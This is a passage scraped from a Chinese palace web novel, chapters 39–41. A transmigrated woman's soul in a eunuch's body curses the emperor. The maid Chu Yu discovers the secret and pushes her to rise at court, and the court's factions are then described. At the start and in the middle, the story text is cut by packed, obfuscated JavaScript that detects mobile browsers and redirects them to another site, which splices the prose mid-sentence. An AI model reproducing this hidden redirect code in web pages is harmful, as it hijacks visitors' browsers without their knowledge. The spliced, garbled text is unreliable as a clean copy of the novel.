l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997218|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像摆弄一件新奇的玉器或瓷器一样,剥开他这身月白绸衣,检查礼物的成色,然后…… “呕——”关禧干呕起来,伏在池边,却什么都吐不出。 太恶心了。太屈辱了。 他想起以前在网上看到过的,关于老gay晚年凄惨境地的只言片语,什么老了兜不住屎被护工嫌弃殴打,年轻时玩得花,老了病床前没半个人影,公园角落里找同类取暖却被嫌脏。 那些零碎模糊甚至可能失真的传闻,此刻像毒蛇一样钻进他混沌的脑子,与现实交织,化作更具体,更不堪的画面。 不是他歧视。而是在这绝对权力碾压下,他连一个人的身份都不被承认。他是器物,是玩物。萧衍现在年轻,有权势,可以把他当个新鲜的摆件。可以后呢?等皇帝腻了,或者他自己老了,残了,像块用旧的抹布一样被丢弃?在这深宫里,一个失了宠又身份低贱,身体残缺的太监,会是什么下场?怕是连兜不住屎被护工嫌弃的待遇都轮不到,直接一卷草席扔去化人场,跟当初的小离子一样。 凭什么?! “爹的……爹的!”关禧猛地一拳砸在水面上,激起更大的水花。他抬起头,对着氤氲的水汽和昏黄的穹顶,也不管外间的楚玉能否听见,积压了数月的怨愤,不甘,如同决堤的洪水,倾泻而出。 “去他爹的皇帝!去他爹的侍寝!!”他声音嘶哑,因为激动而破音,“萧衍!你个死变态!老玻璃!喜欢男人你去找个心甘情愿的啊!逼老子一个女……不对,老子现在他妈连是男是女都说不清!逼我穿成这样,学这些狗屁玩意儿去伺候你?!你他爹有没有点人性?!有没有点审美?!后宫三千佳丽不够,非要玩太监?!玩你大爷!!” 他越骂越激动,口不择言,把现代网络那些污言秽语和深宫积攒的绝望混在一起,颠三倒四: “还他爹要学规矩!学怎么顺服!学怎么让你尽兴?!我呸!你他爹就是个心理扭曲的掌控狂!看着别人在你面前战战兢兢、任你摆布很有成就感是不是?!等老子上了你的龙床,信不信老子一脚踹爆你……踹爆你丫的!” 骂到这里,他自己都愣了,随即更加崩溃地笑起来,笑着笑着眼泪就出来了:“哈……哈哈哈……踹爆个屁!老子现在拿什么踹?啊?楚玉!你听见了吗?!你教得好啊!教我怎么用这具不男不女的身体,去讨好那个变态!你是不是也觉得特有意思?看着我这个不一样的怪物,怎么被你们驯化成一条会摇尾巴、还会伺候人的阉狗?!” 他转向外间的方向,仿佛能穿透帘子看到楚玉冰冷的脸。 “楚玉!楚玉你听着!老子不干了!老子不学了!有本事你现在就进来掐死我!或者去告诉冯昭仪,告诉皇帝,说小离子疯了,不听话了,弄死我算了!省得你们费心巴力地调理,省得脏了你们的贵手!” “侍寝?侍他祖宗十八代!萧衍,你最好祈祷别让我找到机会,不然……不然老子就在你最高兴的时候,吐你一身!咬死你!让你这辈子都对太监有阴影!让你玩!让你玩!!” 他语无伦次,什么狠话都往外冒,像个撒泼打滚的无赖,试图用最粗俗,最不堪的语言,撕破这金丝牢笼,哪怕只是溅对方一身泥点。 外间一片死寂。 关禧骂得嗓子冒烟,胸口剧烈起伏,浑身脱力地滑坐到池底,温水没过肩膀。刚才那股邪火发泄出去,留下的是更深的空虚。他知道自己刚才那些话,任何一句传出去,都是诛九族的大罪。楚玉就在外面,她肯定听到了。 也好。 他破罐子破摔地想。就这样吧。彻底撕破脸,要么死,要么……或许还有一丝微乎其微的可能,因为疯癫而被彻底废弃,当成一个无用的瑕疵品丢弃? 总比……总比被训练好了送上龙床强。 他靠在池壁上,闭上眼,等待审判。 过了不知多久,也许只是几个呼吸,也许有半盏茶的时间。 外间传来极轻的脚步声。 内间的帘子被一只素白的手轻轻挑开。 楚玉站在门口,逆着外间更暗的光线,面容有些模糊,她手里,多了一条干燥柔软的布巾。 她走了进来,脚步无声,停在池边。 关禧没有睁眼,身体却不由自主地紧绷起来。 楚玉蹲下身,将布巾轻轻放在池边触手可及的地方。然后,她伸出手,却不是打他,也不是拽他。 微凉的指尖,极其轻缓地,拂开黏在他额前湿透的一缕黑发。 关禧猛地睁开眼,撞进她近在咫尺的眸子里。那里面没有预料中的鄙夷或冰冷,是一片深不见底的晦暗,仿佛刚才那些大逆不道的咒骂,只是投入深潭的石子,激起了些许涟漪,旋即又被无尽的黑暗吞噬。 “骂够了?”楚玉开口,声音很轻,比平时沙哑一些,“骂够了,就起来。水要凉了。” 关禧愣住,难以置信地看着她。 楚玉却已移开目光,站起身,背对着他,“把身上擦干,换上衣服。今晚的教导,到此为止。” “至于你那些话……我什么都没听见。但若再有下次,惊动了旁人,我也保不住你。” “想活着看到明天的太阳,就管好你的嘴。至少……在学会管好你的身子之前。” 说完,她不再停留,转身离去,衣袂带起细微的风,吹散了池边些许水汽。 留下关禧独自泡在渐渐变凉的水中,望着她消失的方向,满脸的水珠蜿蜒而下,分不清是浴汤,还是别的什么。 他缓缓伸手,抓起池边那块柔软的布巾,攥在手心。 最终,他还是依言起身,擦干了身体,换上了那套月白绸衣。丝滑冰凉的料子贴在皮肤上,像第二层皮肤,也像无形的枷锁。 他推开浴堂的门,秋夜的凉风扑面而来,让他打了个寒颤。 廊下空空,楚玉已不见踪影。 只有头顶那盏孤灯,在夜风中明明灭灭,将他穿着暧昧绸衣的孤单影子,拉得很长,很长。 40.第 40 章 夜深了。 桌上,一盏油灯如豆,映着早已凉透的汤药,黑黢黢的一碗,散发着清苦气息。那是楚玉临走前吩咐人送来的培元固本汤,说是按张太医的吩咐,需每日睡前服用。 关禧看着那碗药,看了很久。最终,他还是伸手端了起来。碗壁冰凉,药汁早已失去了温度。他仰头,一口气灌了下去,苦涩的味道弥漫整个口腔,顺着喉咙一路烧到胃里,带来一阵生理性的反胃,他强忍着,喉结滚动,咽下了最后一点汤。 空碗放回桌上,发出轻响。 他借着那点将尽的油灯光晕,摸索着走到床边。月白绸衣在昏暗光线下泛着幽微的光泽,像一层摆脱不掉的皮。他胡乱地扯开衣带,将那身碍眼的绸衣剥下来,团成一团,塞到床底最深处,换上平常洗得发白的棉布寝衣。 吹熄油灯。 黑暗吞噬了整个房间,只有窗纸外透进一点极淡不知是月光还是远处宫灯的反光。他摸索着走向门口,准备落下门闩,这是他在这个危机四伏的地方,唯一能为自己争取的一点可怜的安全感。 手指刚刚触及那粗糙的木闩。 “叩、叩叩。” 极轻的叩门声,在万籁俱寂的深夜里响起。 关禧的动作僵住,这个时辰……谁会来?陈立德?不可能。送药的小太监?更不会。 一个名字,浮上心头。楚玉。 只有她。只可能是她。 她来干什么?兴师问罪?还是……继续那未完成的教导?或者,是听到了他那些大逆不道的咒骂,终于要来彻底了结他? 他不想开门。一点也不想。他只想缩回床上,用被子蒙住头,假装什么都没听见,假装这敲门声只是他过度惊惧下的幻听。 “叩叩。” 敲门声又响了两下,比刚才稍微重了一点。然后,是楚玉压低的声音,隔着门板传来,在寂静中清晰得可怕: “小离子,开门。” 真的是她。 关禧的手指死死抠着门板边缘,指节泛白。他咬紧牙关,喉咙里干涩得发不出声音。不开。死也不开。 门外静了一瞬,能感觉到他无声的抗拒。 然后,楚玉的声音再次响起: “我知道你没睡。开门,我有话跟你说。” 有话?什么话?在浴堂还没说够吗?还是嫌他骂得不够难听,要亲自来掌他的嘴? 关禧心底涌起一股怒意,他转身,想冲回床上,用被子把自己彻底埋起来。 可脚步刚迈开,门外又传来一句: “关于你骂的那些话。还有回去的事。” 回去?! 这两个字像一道惊雷,劈开了关禧脑中混沌的恐惧和愤怒。她说什么?回去?她不是斩钉截铁地说不可能吗?不是说这是禁忌吗?为什么现在又提? 难道……她真的有别的消息?或者,她只是在诈他,想骗他开门? 理智在尖叫着危险,警告他这很可能是个陷阱。可“回去”这两个字,对他这个异世孤魂来说,诱惑力太大了,大过一切恐惧,大过对未知惩罚的忌惮。 他站在原地,胸膛剧烈起伏,黑暗中只能听到自己擂鼓般的心跳。 时间仿佛凝固,每一秒都被拉长。 最终,对回去那一丝渺茫希望的渴求,压倒了所有顾虑。 他转回身,动作因为急切和紧张而有些踉跄,颤抖着手,摸索着找到了门闩。 “咔哒”一声轻响,在寂静中格外清晰。 门被拉开一道缝隙。 秋夜带着寒意的风立刻灌了进来,吹得关禧单薄的寝衣紧贴在身上。门外廊下未点灯,只远处宫墙角悬着的气死风灯,投来一片朦胧昏光。楚玉就站在那片光影交界处,仍穿着白日那身淡青色宫装,身形纤细而笔直,宛如一支淬过冷月的瓷簪。 她显然是精心妆饰过的。发髻梳得工整严密,不见一丝乱绪,鬓边斜簪一枚素银簪子,幽光澹澹。脸上薄敷脂粉,肤色在昏朦中似冷玉生晕,眉细而淡,如远山含黛,眼底却沉着两泓深不见底的寒潭。唇上点了些胭脂,是整张脸上唯一一抹暖色,也被她周身清寂的气质浸得透出几分冷淡。 此刻她静静望着他,脸上并无表情,唯有那双眸子,在暗里如静水吞光,深得令人心凛。 关禧堵在门口,没有让开,“你说回去?什么意思?” 楚玉没有回答,目光越过他,扫了一眼他身后漆黑一片的屋内,向前迈了一步。 这一步,带着不容拒绝的意味。 关禧下意识地想挡,身体却比意志更先一步,向旁边让开了。楚玉侧身从他让开的缝隙中走了进来,反手,将门轻轻关上,落闩。 “咔哒。” 又是一声轻响,这次是从里面锁上的。这间小屋,彻底与外界隔绝,只剩下他们两人,和满室浓郁得化不开的黑暗。 关禧僵在原地,背靠着冰凉的门板,看着楚玉模糊的轮廓在黑暗中移动。她没有点灯,对这里的简陋和陈设了如指掌,径直走到了桌边,手指拂过那只空了的药碗,停顿了一下。 “药喝了?”她问,声音平淡。 关禧抿紧唇,不想回答这种无关紧要的问题,执拗地重复:“你刚才说回去,到底什么意思?” 楚玉转过身,面向他。 “我什么也没说。”她缓缓道,“我只是说,关于你骂的那些话,和你心里想的事。” 关禧的心瞬间沉了下去,一股被戏耍的怒火夹杂着失望冲上头顶,“你骗我?!” “骗你?”楚玉极轻地笑了一下,那笑声短促而冷,“我若真想对你做什么,需要骗你开门吗?” 这话倒是事实。以她的身份和手段,真想处置他,确实不必如此迁回。 关禧绷紧的身体微微松驰了一点,但警惕并未消除。他不再说话,站在那里,用沉默表达着抗拒。 楚玉也不再开口。黑暗成了最好的掩护,也放大了所有的感官。两人隔着几步远的距离,无声地对峙。空气中弥漫着药味的余苦,还有彼此身上极其微弱的味道。 不知过了多久,关禧觉得自己的腿都有些僵了。他实在无法理解楚玉深夜造访又沉默以对的目的。疲惫和虚脱感再次涌上来,他不想再这样站下去。 他转过身,不再理会楚玉,径直朝着床铺走去。一脚蹬掉鞋子,直接躺了上去,扯过那床不算厚实的被子,胡乱盖在身上,然后翻了个身,面朝墙壁,用后背对着屋内的不速之客。 意思再明白不过:你要说什么就说,不说就滚。我要睡了。 他闭上眼睛,努力调整呼吸,试图忽略身后那道存在感极强的目光。可感官却不听使唤,他能清晰地听到楚玉极轻的呼吸声,能感觉到她站在原地,视线正落在他蜷缩的背影上。 时间一点一滴流逝。 就在关禧以为楚玉会一直这样站到天亮,或者终于无趣离开时。 他听到了衣料摩擦声。 那声音很轻,但在死寂的黑暗中,却清晰得让他心头一跳。不是离开的脚步声,而是……解带,褪衣? 关禧睁大了眼睛,身体僵硬。 窸窸窣窣的声响持续着,不紧不慢。外袍?中衣?他不敢回头,只能凭借声音想象。黑暗中,视觉被剥夺,其他感官却变得异常敏锐。他能闻到空气中那股清冽的气息在靠近,越来越清晰。 然后,他感觉到床铺另一边微微下陷。 一股带着秋夜微凉,又潜藏着某种温度的躯体,毫无预兆地,贴着他的后背,滑入了被褥之中。 关禧的呼吸骤然停止,全身的血液似乎都冲向了头顶,背后传来的触感如此真实,柔软,带着女性特有的曲线,隔着一层薄薄寝衣,与他紧紧相贴。 楚玉竟然爬上了他的床?她想干什么?! 所有可能的猜测在脑中疯狂冲撞,浴堂的教导,冯昭仪的暗示,皇帝的垂问,那张培元固本的方子,还有此刻,这具紧贴着他属于女性的身体。 是另一种形式的教导吗?用她自己来实地演练?让他提前熟悉?还是冯昭仪某种更扭曲的授意或试探? 恶心,恐惧,屈辱,还有一丝连他自己都唾弃的,源于这具年轻男性身体本能的躁动,混杂在一起,快要将他撕裂。 他死死咬住下唇,快要咬出血来,用尽全身力气,才从喉咙里挤出几个字来: “……滚下去。” 楚玉没有动。 她甚至没有因为这句大逆不道的驱逐而有丝毫气息紊乱。 半晌,她贴着关禧耳后的皮肤,呵出一缕微凉的气息,属于她自己的冷香。 “滚下去?进宫这么久,伺候人的本事没学成,脾气倒是见长。怎么,是张太医的培元汤太补,补得你火气上涌,连规矩体统都忘了?” 关禧的后颈起了一层细栗。他向床内侧缩去,试图拉开距离,可床铺狭小,又能躲到哪里?头撞上墙壁,退无可退。 “别碰我!楚玉,你到底想干什么?!如果你是来继续那套恶心的教导,我告诉你,我宁可现在撞死在这墙上!如果是冯昭仪让你来……来验货,你告诉她,这货烂了!碎了!不配送到御前!让她趁早死心!” 黑暗放大了他声音里的憎恶,也掩住了他通红的脸颊。 楚玉轻轻笑了一声。那笑声很短,很淡。 “撞死?你有那个胆量,早在停尸房就了结了自己,何必熬到现在?小离子,李景和,或者……不管你究竟是谁。你以为绝食、咒骂、寻死觅活,就能改变什么?在这宫里,蝼蚁连选择怎么死的资格都没有。” “既然决定吞下那碗药,既然选择从床上爬起来,把饭一口口吃下去,把身子养起来……”她的声音压得更低,几乎成了耳语,“不就是想活吗?既然想活,为什么只想着在泥里打滚,没想过……往上爬?” 往上爬? 关禧混沌的脑子被这三个字钉住了一瞬。 他来这里,活着,只是为了不被当作物件献出去,何曾想过爬?一个太监,一个灵魂错置的怪物,能爬到哪里去? “爬?呵,”他嗤笑,“往哪里爬?爬到陛下床上,当个更得宠的玩物?还是爬到你们眼皮子底下,当个更趁手的棋子?楚玉,你别逗我了。” “玩物?棋子?”楚玉重复着,她的话像冰冷的针,精准地挑开关禧试图遮掩的怯懦,“那你现在是什么?连玩物都不如的残次品,连棋子都算不上的弃子?至少,爬到高处的玩物,金丝笼是纯金的,锦衣玉食,偶尔还能见到外面的天。爬到关键的棋子,至少能让人掂量掂量,不敢随意打杀。” 她的身体动了,更贴近了一些。 隔着单薄衣,关禧能清晰地感觉到她曲线起伏的轮廓,以及那份不容错辨,属于女性的柔软。 “还是说……”楚玉的气息拂过他耳廓,“你根本不敢?你怕这身子,怕这身份,怕到了御前,露出马脚?怕被皇帝发现,这精致皮囊底下,装的不是怯懦顺从的李景和,而是个满嘴胡言乱语、心思诡异、连自己是什么都搞不清楚的……东西?” 说着,她的指尖,顺着关禧僵硬的脊骨,极缓地向上滑动,停在某个脊椎骨节上,“告诉我,你这壳子里,到底住着谁?从哪里学来的那些他爹的、老玻璃,嗯?李景和一个河间府的农家子,怕是连玻璃是什么都没见过。” 关禧的呼吸彻底停滞了。她果然知道了,不,她猜到了,她早就怀疑了,那些她听不懂的词,那些不属于这个时代的反应,那些对自身处境的激烈抗拒,全都成了破绽。 “……我不知道你在说什么!”他挣扎着否认,声音却虚飘得没有半点说服力,“我病了……烧糊涂了……胡说的……” “胡说的?”楚玉的指尖用力,按在他那块脊椎上,“那何当共剪西窗烛也是胡说的?独钓寒江雪也是胡说的?一个胡说的农家子,能有这般苍茫孤绝的心境?” 她忽然撑起手臂,上半身悬在了关禧上方。 “你不是李景和。”她一字一顿,声音冷冽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000099|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如刀,斩断他所有侥幸,“你甚至可能不是男人。” 最后几个字,她说得很轻。 “你对女人有反应,不是男人对女人的那种。”楚玉继续,语气平静得像在分析账目,“浴堂里,你看着我,看着娘娘,眼里有东西,但不是欲望。你羡慕我们之间的情分?寻常小太监,会羡慕这个?你抗拒皇帝的触碰,抗拒到不惜自伤,那份恶心,不只是对屈辱的抗拒,更像是……对和男人亲近这件事本身的厌恶。” 她俯得更低,两人的鼻尖几乎要碰到一起,气息交融。 “告诉我,你以前是不是个女人?” 她猜到了,她全都猜到了。 “不……不是……你胡说……”关禧徒劳地否认,眼泪不受控制地涌出,滑过太阳穴,没入鬓发。 楚玉没有因他的眼泪而动摇,伸出另一只手,指尖抚上他湿漉的脸颊,抹去一滴泪珠,“是不是胡说,你心里清楚。一个女人的灵魂,困在一个太监的身体里,难怪你会疯。难怪你想回去。” 回去。 再次听到这个词,关禧的挣扎微弱下去,被她看穿了,彻底看穿了。在这个可怕的女人面前,他像被剥光了所有伪装,赤裸裸地展示着所有的扭曲和不堪。 “是,”他终于承认,声音低不可闻,“我不属于这里,我想回去,可我回不去了,你也说回不去了……” 他像个走投无路的孩子,在绝对的黑暗和彻底的暴露面前,放弃了最后的抵抗,只剩下本能的呜咽和颤抖。 楚玉沉默了。 漫长的寂静笼罩了狭小的床铺。只有关禧压抑的抽泣声,和彼此交错的呼吸。 良久,楚玉悬在上方的身体慢慢落回,重新与他并排躺下,但距离比刚才稍远了一些。 “我是说过,宫里没有回去的先例。但宫里也没有你这样的先例。” 关禧止住哭泣,茫然地侧过头,在黑暗中试图寻找她的眼睛。 “既然回不去,既然死不了,”楚玉的声音在咫尺之遥响起,“你就得用这具身子,在这个地方,活下去。不是作为李景和,也不是作为你原来那个人,而是作为现在的你——一个知道太多、会得太多、心思诡异的太监,小离子。” “往上爬,不是你愿不愿意的问题。是你必须走的路。只有爬得足够高,高到能自己决定一些事情,高到能让别人有所忌惮,你才能保住你这点秘密,才能稍微活得像个人,而不是随时可能被碾碎的虫蚁。” “陛下那里,是险路,也是捷径。娘娘把你推上去,有她的算计。但你若只会哭哭啼啼,寻死觅活,那就真成了一枚用完即弃的棋子。你若能顺势而为,哪怕只是让陛下觉得新鲜,多留你几日,你就能多喘几口气,多几分周旋的余地。” 她的手,再次轻轻落在关禧的手臂上,这次没有狎昵的意味。 “至于你这点秘密,从现在起,它就是你我之间,最大的把柄,也是唯一的纽带。我会替你瞒着,不是好心,是因为你活着,对我,对娘娘,暂时还有用。但若你自己守不住,露了馅……” 她没有说完,但未尽之意比任何威胁都更有效。 关禧躺在那里,脑子里乱成一团。 爬上去?用这具身体,在这个世界?去争宠?去谋生? 荒谬,恶心,不可思议。 可是除了这样,他还有别的选择吗?像楚玉说的,像虫蚁一样被碾死?或者,永远活在随时可能暴露的恐惧里? “我……我不会……”他喃喃道,声音干涩,“我不会伺候男人……我做不到……” “没人天生就会。我会教你。不是浴堂里那套虚的。是怎么察言观色,怎么避重就轻,怎么在绝境里找到一丝喘息的空隙……” 楚玉顿了顿,问了一个看似不相干的问题: “你原来那个地方,女人也能读书识字,抛头露面,甚至为官做宰,是不是?” 关禧愣住了,下意识地点头,随即意识到黑暗中她看不见,含糊地“嗯”了一声。 楚玉轻轻吸了一口气,很轻微,但关禧感觉到了。 “真好。”她说,声音飘忽得像一声叹息,很快又稳住了,“所以,别摆出一副天塌下来的样子。你脑子里装的东西,或许在这里,是催命符,但用好了,未必不能成为保命符、登天梯。” “皇帝,”她斟酌着词句,“要的未必是颠鸾倒凤。他更享受掌控,享受将特别之物收归己有的感觉。你的特别,如果只是这张脸,那太单薄。如果你能让他觉得,你脑子里还有些别的、有趣的东西,或许,你能活得稍微不一样点。” 这已经是楚玉能给出的,最直白也最隐晦的提示了。 关禧的心跳,在绝望的谷底,加速跳动了几下。不一样地活?用他知道的那些不属于这个时代的东西? 可能吗? 他不知道。 但楚玉的话,像在黑暗的深渊里,丢下了一根不知道是否坚固的绳索。他可以不抓住,继续沉沦。或者,抓住它,哪怕双手磨得鲜血淋漓,也要试着向上爬一寸,算一寸。 长久的沉默再次蔓延。 这一次,关禧没有再让楚玉滚。楚玉也没有离开。 两人就这般并排躺在狭窄的单人床铺上,听着窗外远处隐约的更梆声,各怀心思,在无边的黑暗里,共享着这个沉重的秘密。 直到窗外透进一丝青灰色的曙光。 楚玉悄无声息地起身,穿戴整齐,整理好衣襟,走到门边。 “药按时喝。该学的,我会再来教你。”她背对着关禧,声音恢复了惯常的冷淡,“记住我的话。想活,就别再犯蠢。” 门闩轻响,门被拉开一道缝,她侧身闪出,很快消失不见。 关禧躺在渐渐亮起来的屋子里,望着头顶斑驳的房梁,脸上泪痕已干,眼神空茫了很久。 往上爬吗? 他闭上眼,舌尖尝到培元汤残留的苦涩,混合着一丝铁锈般的腥气。 那就……爬吧。 41.第 41 章 接下来的日子,承华宫西厢那间小屋的灯火,熄得比往常更晚。 关禧不再抗拒楚玉带来的任何东西,汤药,饭食,书籍,乃至那些关于伺候的教导。他沉默地接受,吸收着一切能让他在这深宫活下去的知识。 只是那沉默里,有什么东西不一样了。 从前是麻木的顺从,如今是清醒的蛰伏。他的眼睛在听楚玉讲解宫廷规矩,各宫关系时,会专注地追随她的每一句话,偶尔在听到关键处,睫毛会极轻微地颤动一下。 楚玉自然也察觉了这种变化。她依旧面无表情,教导时语气平板无波,但讲解的内容却悄然调整。不再只局限于如何取悦皇帝的技巧,开始夹杂更多看似无关的信息:朝中几位阁老的姓氏与立场,六部尚书的更迭轶闻,京城几大世家的姻亲脉络……甚至偶尔,她会无意间落下几本不属于太监该看的书,本朝《会典》的残卷,历年科举的《登科录》,乃至一些文人私刻的朝野见闻录。 关禧来者不拒。 他白天在书斋处理那些琐碎的宫务记录时,目光不再仅仅停留在数字和物品名目上。他会刻意记下各宫支取用度的频率,数额,对比不同季节,不同节庆时的变化,从中揣测各宫的势力消长与皇帝的态度倾向。他看到玉芙宫徐昭容有孕后的用度激增,看到皇后宫中赏赐出去的物件规格远超寻常,也看到太后所居的永寿宫,用度始终平稳却透着不动声色的厚重。 夜里,油灯下,他艰难地啃着那些晦涩的文言。这个架空王朝“晟”的历史,官制,地理,像一幅巨大的拼图,被他一点一点从破碎的文字中拼凑起来。 永昌元年。 当今皇帝登基改元的第一个年头。先帝在位日久,晚年多病,朝局曾被几位权臣把持。萧衍不是长子,其生母郑书意,即如今的太后,出身并不显赫,父亲只是边镇一名中级武将。 然而这位郑太后,却有着惊人的胆识与运气。 她十四岁入宫,十五岁生下萧衍,在先帝后宫并非最得宠,却因诞下皇子而稳住了地位。先帝晚年,诸子夺嫡,血雨腥风。萧衍彼时年幼,看似毫无胜算。是郑书意,凭借其父在军中的些许人脉,以及在后宫多年经营下的人情网络,暗中联络,合纵连横,竟在最后关头,将当时年仅十八岁的萧衍推上了太子之位。 不久先帝驾崩,萧衍登基,郑书意顺理成章成为太后,时年不过三十三岁,是晟朝开国以来最年轻的太后。 如今皇帝萧衍二十三岁,登基五年,改元永昌,意欲开创一番新气象。而太后郑书意,也才三十八岁,正是一个女人阅历,手腕与野心都臻于成熟的年纪。她居住的永寿宫,看似远离前朝纷争,实际却是后宫乃至朝堂无数暗流的源头。皇帝对这位一手将自己扶上帝位的母亲,感情复杂,既有依赖,也有提防。太后母族郑氏,如今已非当年的边镇小将,其父兄子侄多在军中担任要职,形成一股不容小觑的外戚势力。 而后宫之中,暗流随永昌元年的到来,更加汹涌。 皇后柳氏,出身百年清流文臣世家,其父是当朝首辅柳文正。柳后端庄贤淑,但入宫多年无所出,中宫之位看似稳固,实则无子便是最大的隐忧。她需要维持皇后的体统与贤名,亦需时刻提防任何可能威胁她地位的妃嫔与子嗣。 徐昭容徐宛白,正是如今后宫最灼眼的存在。其父是吏部左侍郎徐阶,兄长也在吏部任职,虽非顶级门阀,却是太后亲手提拔的新贵,在官员考核升迁上颇有实权。徐宛白骄纵貌美,如今又怀有龙嗣,风头一时无两。她与冯昭仪不睦已久,如今更是将承华宫视为眼中钉。 而冯昭仪冯媛…… 关禧放下手中记录着去年年节赏赐的玉牒副本,揉了揉酸涩的眼角。 冯媛出身江南冯氏,诗书传家,祖上出过几位翰林学士,父亲现任国子监祭酒,清贵却无实权。冯媛能在新人辈出的后宫稳居昭仪之位,并得协理宫务之权,凭借的绝不仅仅是温婉的性情和清丽的容貌。她的智慧与冷静,关禧已领教多次。冯家看似不涉党争,但在清流文人中声望颇高,是一股润物无声的力量。 冯媛将关禧握在手中,既是对皇帝某种心照不宣的迎合,也是在徐宛白有孕,皇后无子的局面下,为自己增添的一枚特殊筹码,一枚或许能吸引皇帝注意,分走玉芙宫恩宠,甚至探听某些消息的活棋。 至于楚玉…… 关禧看向窗外沉沉的夜色。楚玉,或者说楚玉背后可能代表的,冯媛更深层的布局与心思,依旧是一团迷雾。她教他这些,是在为冯媛培养一个更高级的棋子,还是……有她自己的打算? 关禧不知道。但他清楚,知道得越多,活下去的可能才越大。 * “今日讲《礼记·曲礼》。” 楚玉的声音在书斋一角响起,平淡无波。她面前摊开一卷书,关禧垂手立在案前。 “毋不敬,俨若思,安定辞。”楚玉念道,指尖划过书页,“此乃修身之基。在御前,更须时刻谨记。陛下不喜轻浮孟浪之辈。” 关禧默默记下。 这些日子,楚玉的教导内容愈发庞杂。从最基础的进退礼仪,言辞应对,到宫廷服饰,器物使用的禁忌,再到各宫主要人物的脾性喜好,彼此间的恩怨纠葛。她像在填鸭,将无数信息硬塞进关禧的脑子。 有时,她会突然提问。 “若陛下问起你读何书,当如何答?” 关禧垂眼:“奴才愚钝,只识得几个字,勉强能看账目文书,不敢妄言读书。” “若陛下让你以秋日为题,说句话呢?” 关禧心念电转,想起楚玉曾提过皇帝不喜过于雕琢的辞藻,偏好简洁有物:“奴才见识浅薄,只觉得御花园中金桂香气袭人,枫叶红似火,都是托陛下洪福,才有这般盛景。” 楚玉不置可否,继续问:“若陛下提起玉芙宫徐昭容有孕,后宫同庆,你有何感?” 关禧背脊微僵,旋即放松,声音平稳:“奴才为陛下、为徐昭容娘娘欣喜。皇家子嗣昌盛,是天下之福。” “哦?”楚玉抬眼,目光如锥,“那你觉得,冯昭仪娘娘听闻此消息,该如何做才算得体?” 这个问题更险。关禧沉吟片刻,谨慎答道:“娘娘协理六宫,自当谨遵皇后娘娘吩咐,尽心安排照料,彰显后宫和睦。私下……想必也为陛下高兴。”他绝口不提冯昭仪与徐昭容的不和,只强调宫规。 楚玉看了他一会儿,眼中掠过一丝难以捉摸的情绪,随即掩去,“尚可。记住,在陛下面前,多看,多听,少说。尤其涉及后宫诸事,绝不妄议。你的本分,是伺候好陛下,让陛下舒心。其余一切,与你无关。” “是。”关禧应下。 他知道,楚玉在训练他成为一个合格的御前侍奉,既要懂得察言观色,恰到好处地展现一点特别,又要牢牢记住自己卑贱的身份,绝不能有任何逾越或卷入是非的迹象。 这其中的分寸,如走钢丝。 除了这些实用教导,楚玉带来的书籍也越来越多。 关禧开始系统了解这个朝代。 晟朝定鼎已近百年,疆域辽阔,北有草原部族不时侵扰,东南沿海时有倭患,但大体承平。朝中党派林立,有以太后娘家为代表的勋贵武将集团,有以皇后柳家为首的老牌文官清流,有皇帝登基后太后提拔的徐阶等新进务实官员,还有如冯家这般看似中立实则影响士林舆论的清贵世家。 各方势力在永昌元年这个节点上,微妙地平衡着,也暗潮汹涌。 后宫是前朝的影子。 太后高踞永寿宫,看似含饴弄孙,实则通过早年布下的眼线与强大的外戚势力,影响着朝局与后宫。皇帝正值青年,锐意进取,渴望摆脱太后与老臣的掣肘,培养自己的班底。皇后无子,地位微妙,需倚仗娘家势力与太后维持平衡。徐昭容借孕争宠,野心勃勃。冯昭仪则如静水深流,在各方夹缝中寻找自己的位置与机会。 关禧,便是这盘错综复杂的棋局上,一枚刚刚被拿起,尚未决定落在何处的棋子。 这日午后,关禧正在书斋一角整理一批新送来的地方贡品清单,忽然听到外间传来一阵不同寻常的脚步声与环佩轻响,比平日冯昭仪出行更为煊赫。 他立刻放下手中纸笔,垂首肃立。 只见陈立德弓着腰,急匆匆进来,低声道:“快,收拾一下,永寿宫太后娘娘驾到!正往这边来了!” 太后?郑书意? 关禧心头猛地一跳。这位传奇的年轻太后,他只在楚玉的描述和零碎记录中拼凑过形象,从未得见。她为何突然来承华宫? 不及细想,外面通传声已起:“太后娘娘驾到——!” 冯媛早已闻讯,带着楚玉疾步出迎。关禧随着其他太监宫女,跪伏在书斋门内两侧,额头触地,屏息凝神。 一股馥郁的香气率先涌入,不是少女的甜香,也非佛堂的檀香,而是某种更为醇厚的珍稀香料气息。接着,是一双绣着繁复金凤衔珠纹样的明黄色凤履,缓缓踏入视线。履上珍珠圆润,金线灿然,每一步都透着无声的威仪。 关禧不敢抬头,只能用余光瞥见那迤逦的明黄裙裾,其上用捻金线绣着大朵大朵的牡丹,花心嵌着细小的宝石,在午后阳光下流转着奢华的光泽。 “都起来吧。”一个声音响起,不高,甚至算得上温和。 音色比关禧想象中更年轻些,透着沉稳。 “谢太后娘娘。”众人谢恩起身,依旧垂首。 关禧这才得以稍稍抬起视线。 只见一位身着明黄色织金凤纹常服的女人,正被冯媛恭敬地搀扶着,走向书斋主位。她身量中等偏上,体态保持得极好,并无寻常中年妇人的丰腴,反而有种柔韧的挺拔。乌发梳成端庄繁复的朝天髻,戴着一套赤金点翠凤穿牡丹头面,凤口衔下的明珠正垂在光洁的额前,熠熠生辉。 